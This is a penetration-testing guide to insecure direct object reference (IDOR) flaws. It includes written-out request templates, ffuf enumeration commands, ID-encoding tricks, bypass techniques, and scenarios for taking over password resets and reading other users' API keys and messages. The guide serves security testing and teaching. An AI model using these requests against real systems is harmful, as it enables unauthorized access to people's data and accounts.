IDOR (Insecure Direct Object References)
IDOR vulnerabilities occur when an application exposes internal implementation objects to users, allowing attackers to access or modify resources belonging to other users. This guide covers detection methods, exploitation techniques, and bypass strategies.
Why IDOR Matters
IDOR is one of the most common and impactful web vulnerabilities. It can lead to unauthorized access to sensitive data, account takeover, and privilege escalation. Despite being conceptually simple, IDOR vulnerabilities are frequently found in production applications because developers often rely solely on authentication rather than proper authorization checks.
Warning
Tools & Resources
Understanding IDOR
IDOR occurs when applications use user-controllable input to directly access objects without verifying if the current user is authorized to access that specific resource.
IDOR Types
Horizontal IDOR
Access data of users at the same privilege level
/api/user/123 → /api/user/456 Vertical IDOR
Access data of higher privilege users/functions
/api/user/123 → /api/admin/1 Common IDOR Locations
URL Parameters
# User profiles
/profile?id=1234
/user/1234/settings
/account/view/1234
# Orders and transactions
/order/details?orderId=5678
/invoice/download/5678
/receipt/5678
# Documents and files
/document/view/9012
/file/download?fileId=9012
/attachment/9012
# Messages and communications
/message/inbox/3456
/chat/conversation/3456
/notification/3456
# API endpoints
/api/v1/users/1234
/api/v1/orders/5678
/api/v1/reports/9012Request Body Parameters
# JSON body
POST /api/user/update
{"userId": 1234, "email": "test@test.com"}
# Form data
POST /profile/edit
user_id=1234&name=attacker
# GraphQL
POST /graphql
{"query": "mutation { updateUser(id: 1234, email: "test@test.com") }"}
# XML
POST /api/order
<order><userId>1234</userId><item>product</item></order>Headers and Cookies
# Custom headers
X-User-Id: 1234
X-Account-Id: 5678
X-Org-Id: 9012
# Cookies
Cookie: userId=1234; sessionId=abc123
Cookie: accountRef=base64(1234)
# JWT claims (if manipulable)
Authorization: Bearer eyJ...{"sub": "1234", "role": "user"}...Identification Techniques
Step 1: Map the Application
# Identify all endpoints with object references
# Look for patterns like:
- /resource/{id}
- /resource?id={id}
- /resource/{id}/action
# Record your user's IDs for:
- User account ID
- Order/transaction IDs
- Document/file IDs
- Organization/team IDs
- Message/conversation IDs
# Create a second test account
# Record all IDs for comparisonStep 2: Identify Reference Types
Common ID Formats
| Type | Example | Attack Vector |
|---|---|---|
| Sequential Integer | 1, 2, 3, 4 | Increment/decrement |
| UUID | 550e8400-e29b-... | Leaked in responses/logs |
| Encoded | MTIzNA== (base64) | Decode, modify, re-encode |
| Hashed | a665a45920422f9d... | Rainbow tables, predictable input |
| Composite | USER_123_ORDER_456 | Modify individual components |
| Timestamp-based | 1701234567890 | Predict based on creation time |
Exploitation Techniques
Basic ID Manipulation
# Your request
GET /api/user/123/profile HTTP/1.1
Authorization: Bearer your_token
# Modify to target another user
GET /api/user/124/profile HTTP/1.1
Authorization: Bearer your_token
# Enumerate IDs with Burp Intruder
# Positions: GET /api/user/§123§/profile
# Payload: Numbers 1-1000
# Using ffuf
ffuf -u "https://target.com/api/user/FUZZ/profile" \
-w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt \
-H "Authorization: Bearer your_token" \
-mc 200Encoded ID Manipulation
# Base64 encoded IDs
# Original: /download?file=dXNlci8xMjMvcmVwb3J0LnBkZg==
# Decoded: user/123/report.pdf
# Modify and re-encode
echo -n "user/456/report.pdf" | base64
# Result: dXNlci80NTYvcmVwb3J0LnBkZg==
# New request
GET /download?file=dXNlci80NTYvcmVwb3J0LnBkZg==
# Hex encoded
# Original: 7573657231323334 (user1234)
# Target: 7573657234353637 (user4567)
# URL encoded
# Original: user%2F123
# Target: user%2F456Predictable Hash IDs
# If IDs are hashed predictably (e.g., MD5 of sequential numbers)
import hashlib
# Generate potential IDs
for i in range(1000):
hash_id = hashlib.md5(str(i).encode()).hexdigest()
print(f"{i}: {hash_id}")
# Or if hash is based on email/username
target_email = "admin@company.com"
target_hash = hashlib.md5(target_email.encode()).hexdigest()
print(f"Target ID: {target_hash}")Parameter Pollution
# HTTP Parameter Pollution (HPP)
# Original
GET /api/user?id=123
# Try adding duplicate parameters
GET /api/user?id=123&id=456
GET /api/user?id=456&id=123
# Array notation
GET /api/user?id[]=123&id[]=456
GET /api/user?id=123,456
# Different parameter names
GET /api/user?id=123&user_id=456&userId=789
# Mixed case
GET /api/user?ID=456&id=123JSON Parameter Manipulation
# Original request
POST /api/profile/update HTTP/1.1
Content-Type: application/json
{
"email": "my@email.com"
}
# Add userId parameter
{
"userId": 456,
"email": "my@email.com"
}
# Try different parameter names
{
"user_id": 456,
"id": 456,
"uid": 456,
"userID": 456,
"account_id": 456,
"email": "my@email.com"
}
# Nested objects
{
"user": {"id": 456},
"email": "my@email.com"
}Bypass Techniques
Wildcard and Negative Values
# Try wildcard values
GET /api/user/*/profile
GET /api/user/all/profile
# Negative values
GET /api/user/-1/profile
GET /api/user/0/profile
# Very large numbers
GET /api/user/999999999/profile
# Null values
GET /api/user/null/profile
GET /api/user/undefined/profile
# Special strings
GET /api/user/self/profile
GET /api/user/me/profile
GET /api/user/current/profileHTTP Method Tampering
# If GET is blocked, try other methods
GET /api/user/456 → 403 Forbidden
# Try these alternatives
POST /api/user/456
PUT /api/user/456
PATCH /api/user/456
DELETE /api/user/456
OPTIONS /api/user/456
HEAD /api/user/456
# Method override headers
GET /api/user/456
X-HTTP-Method-Override: PUT
X-Method-Override: PUT
X-HTTP-Method: PUTPath Traversal in IDs
# If IDs are used in file paths
GET /api/user/123/document/report.pdf
# Try path traversal
GET /api/user/123/../456/document/report.pdf
GET /api/user/123/document/../../../456/document/report.pdf
# URL encoding
GET /api/user/123%2f..%2f456/document/report.pdfBlind IDOR Detection
# When you can't see the response content directly
# Check for response time differences
# Valid ID: 200ms
# Invalid ID: 50ms
# Check HTTP status codes
# Your ID: 200 OK
# Other user's ID (no access): 403 Forbidden
# Non-existent ID: 404 Not Found
# Accessible other ID: 200 OK (IDOR!)
# Check response size differences
# Your profile: 2048 bytes
# Other profile with different data: 1856 bytes (IDOR!)
# Error message differences
{"error": "User not found"} # Non-existent
{"error": "Access denied"} # Exists but no access
{"data": {...}} # IDOR - got the data!Automated Testing with Autorize
# Autorize Burp Extension Setup
1. Install Autorize from BApp Store
2. Configure low-privilege user cookie:
- Browse app as low-priv user
- Copy session cookie to Autorize
3. Browse app as high-priv user:
- Autorize replays requests with low-priv cookie
- Highlights authorization bypasses
# Results interpretation:
# GREEN: Request blocked (secure)
# RED: Request allowed (IDOR/Authz bypass!)
# YELLOW: Different response (investigate)
# Best practices:
- Test both horizontal (same role, diff user)
- Test vertical (low priv → high priv functions)
- Test unauthenticated access (remove cookie entirely)Real-World IDOR Scenarios
Password Reset IDOR
# Password reset flow
POST /api/password/reset
{"userId": 123, "newPassword": "hacked123"}
# Change userId to target account
{"userId": 456, "newPassword": "hacked123"}Invoice/Receipt Download
# Download your invoice
GET /api/invoice/download/INV-2024-0001.pdf
# Access others' invoices
GET /api/invoice/download/INV-2024-0002.pdf
GET /api/invoice/download/INV-2024-0000.pdf # First invoice ever?
# Enumerate all invoices
for i in range(1, 10000):
url = f"https://target.com/api/invoice/download/INV-2024-{i:04d}.pdf"API Key IDOR
# Get your API keys
GET /api/settings/apikeys?userId=123
# Get another user's API keys
GET /api/settings/apikeys?userId=456
# Or in GraphQL
query {
user(id: "456") {
apiKeys {
key
secret
}
}
}Chat/Message IDOR
# View your conversations
GET /api/conversations/CONV123
# Access private conversations
GET /api/conversations/CONV124
GET /api/conversations/CONV125
# Read private messages
GET /api/messages?conversationId=CONV456Testing Checklist
🔍 Discovery
- ○ Map all endpoints with object references
- ○ Create 2+ test accounts for comparison
- ○ Record all ID types (user, order, etc.)
- ○ Check URL params, body, headers, cookies
- ○ Look for leaked IDs in responses
🔄 Testing
- ○ Swap IDs between accounts (horizontal)
- ○ Try admin/elevated IDs (vertical)
- ○ Test GET, POST, PUT, DELETE methods
- ○ Try encoded/hashed ID manipulation
- ○ Use Autorize for comprehensive testing
🔓 Bypass Attempts
- ○ Parameter pollution
- ○ HTTP method override
- ○ Wildcard and special values
- ○ Path traversal in IDs
- ○ JSON body parameter injection
📝 Impact Assessment
- ○ Data exposed (PII, financial, medical)
- ○ Actions possible (modify, delete)
- ○ Scale of enumeration possible
- ○ Account takeover potential
- ○ Business logic abuse